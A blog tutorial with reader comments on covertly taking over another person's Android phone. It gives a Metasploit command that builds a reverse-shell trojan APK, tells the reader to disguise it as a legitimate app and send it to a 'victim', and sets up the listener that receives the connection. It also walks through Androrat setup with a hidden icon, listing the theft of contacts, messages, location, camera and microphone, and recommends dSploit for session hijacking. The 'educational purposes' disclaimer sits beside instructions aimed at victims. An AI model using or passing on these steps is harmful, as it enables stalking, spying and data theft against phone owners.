How to Hack an android phone

In this tutorial i will show you a  guide on how to hack someones android phone.

First you will need to root your phone ( I’m not going to show you how to root your phone on this tut , but will post one in the future) for this to work on all 3 methods. If you are not sure that it is rooted , just download root checker on google play and it will show you if your phone has been successfully rooted.

Note – I will not be held responsible for anybodies actions , as this tutorial is for educational purposes.

Method 1 (Create your own Rat apk file)

You will need backtrack or kali-linux ,it’s available on their site for free at http://www.kali.org/downloads/.    Open up your new operating system using VMWare or by making a bootable USB. Here’s the 2 tools that you will need, either way will work.

VMWare

RUFUS

When you have successfully booted into the OS , simply click the first option ” Default boot text mode ” and then a window will pop up that looks similar to command prompt. Type in ” startx ” and you will be in the GUI of the OS. Now we can finally start with the hacking phase. First go to the terminal. Type in the following commands.

1. apt-get update   ( make sure you are connected to the internet)

2. msfconsole

wait until the command fully loaded ( depends on your pc specs , it can take some time)

3. Execute this command in metasploit console

 Msfpayload android/meterpreter/reverse_tcp LHOST=<your internal IP> LPORT=<port for connection> R > trojan.apk

4. Then transfer trojan.apk to your android device and install APK Editor from google play to edit  the trojan.apk ( change icon and names ) so   that it looks like a legitimate app.

5. Send this apk file over to your victim’s phone.
6. Now going back to your open msfconsole window , type in the following to start your trojan.apk
7. use exploit/multi/handler
8. set lport < the port you used in trojan.apk >
9. exploit

Note – ** Don’t forget to make your IP static, as you don’t want your ip to change otherwise this won’t work **

And viola !! , you now have control of your victims phone.

You can access the victims directories , front-back camera and many more.

Method 2 ( Using Androrat )

Androrat is a client/server application developed in Java Android for the client side and in Java/Swing for the Server.The name Androrat is a mix of Android and RAT (Remote Access Tool).The goal of the application is to give the control of the android system remotely and retrieve informations from it.
Features
  • Get contacts (and all theirs informations)
  • Get call logs
  • Get all messages
  • Location by GPS/Network
  • Monitoring received messages in live
  • Monitoring phone state in live (call received, call sent, call missed..)
  • Take a picture from the camera
  • Stream sound from microphone (or other sources..)
  • Streaming video (for activity based client only)
  • Do a toast
  • Send a text message
  • Give call
  • Open an URL in the default browser
  • Do vibrate the phone

How to configure Androrat :

  1. You have to  make a id on Here and create a host.
  2. You need to open port you want to use.  To do that Open Control panel > Network & Internet > Network & Sharing centre Then click on see full map option Right-Click on the Gateway or router>Properties In general tab, Go to settings , Click on add In Description of service , Write Androrat Now you have to check your ip, To Do this , open command prompt, type ipconfig, Scroll To ethernet Adapter local area connection,and note down the ipv4 address Now come back to Add window , in the name or ip address type the ipv4 address you have noted Now in the external & internal port number , type 81 , tcp should be selected, click ok Now click on Add button again…Now in Description , write androrat 1 In the name or ip address, type the ipv4 address you have noted Now in the external & internal port number , type 81 , udp should be selected, click ok.
  3. Now extract the file , Open AndroRat Binder.exe.
  4. Go to No-ip tab and fill your information & click on update.
  5. Go to Build Tab.
  6. In IP section, type the hostname  you have created by no-ip.
  7. In port section , type 81.
  8. In apk title ,Type any title you want.
  9. Check the hidden box to hide the apk from mobile’s app drawer.
  10. Click on Go.
  11. Now you will see the apk with the title you have given in the extracted folder.
  12. Now install that apk to any android mobile phone.
  13. You will find a folder named Androrat in the extracted files.
  14. Open Androrat>Androrat.jar (you should have java installed in your pc to open it).
  15. Now click on server> Select port and enter 81, click ok & restart it.
  16. Now , as soon as the android client is online , you will find it on the jar file ……select any server online.
  17. Enjoy.

Download Androrat

 

Method 3 ( Using Dsploit )

For this hack app to work ,you need to be on the same network as the victim.

So what does this app have to offer? Just about everything. Password recovery , kill connections , Session hijacker (facebook , youtube etc.) , site re-director , image replacer and many more.

Simply download the app and install. You will be amazed how much power this app provides.

Download Dsploit

 

If anyone have any problems setting one up , PM me for help and once again this is for educational purposes.

Advertisements

14 thoughts on “How to Hack an android phone

  • February 27, 2015 at 9:10 pm
    Permalink

    Hey There. I found your blog using msn. This is a
    really well written article. I will be sure to
    bookmark it and return to read more of your useful info.
    Thanks for the post. I will certainly comeback.

    Reply
    • March 3, 2015 at 5:44 pm
      Permalink

      Hi , thanks for the feedback. Will try to update as much as possible.

      Reply
  • February 28, 2015 at 3:59 am
    Permalink

    After going over a number of the articles on your site, I seriously appreciate your way of blogging.
    I bookmarked it to my bookmark website list and will be checking back in the near
    future. Please check out my website as well and tell me your opinion.

    Reply
    • March 3, 2015 at 5:44 pm
      Permalink

      Hi , much appreciated. Been tied up will try to update posts regurarly. Thanks for the reply. 🙂

      Reply
  • February 28, 2015 at 4:18 am
    Permalink

    Hi friends, good post and nice urging commented here,
    I am genuinely enjoying by these.

    Reply
  • August 1, 2015 at 1:46 pm
    Permalink

    Hi im at the client options window in androrat dont know what to do next please guid me from there

    Reply
    • August 1, 2015 at 7:52 pm
      Permalink

      Hi , Did you follow the steps that i mentioned? If so what have you done so far?

      Reply
  • September 1, 2015 at 12:18 am
    Permalink

    Im really enjoying how to use androrat but im thetering my enternet and cant find an open port need help the rat only work on the phone thetering

    Reply
  • September 1, 2015 at 12:24 am
    Permalink

    Please help can the androrat work using mobile thetering

    Reply
  • October 14, 2015 at 11:08 am
    Permalink

    sir i have created the apk file in kali linux and send to my phone and try to install it on my but is saya phrasing error with packages what to do that file is not able to istall in my phone created by me usling msfpalod

    Reply
    • April 9, 2016 at 10:08 pm
      Permalink

      MSFpayload has been removed from kali .. they have replaced it with msfvenom

      Reply
  • April 22, 2016 at 7:45 am
    Permalink

    Sir how can i do the #2 config androrat method #2 in hacking an android phone.. using windows 8.1?? the see full map section is missing in network & sharing..

    Reply
    • April 22, 2016 at 9:02 am
      Permalink

      Hi Deadzpool14,

      Yes that option has been removed by windows. You can download a port forward tool here and after you forward the port double check to see whether its working here.

      Reply

Leave a Reply

Your email address will not be published. Required fields are marked *

%d bloggers like this: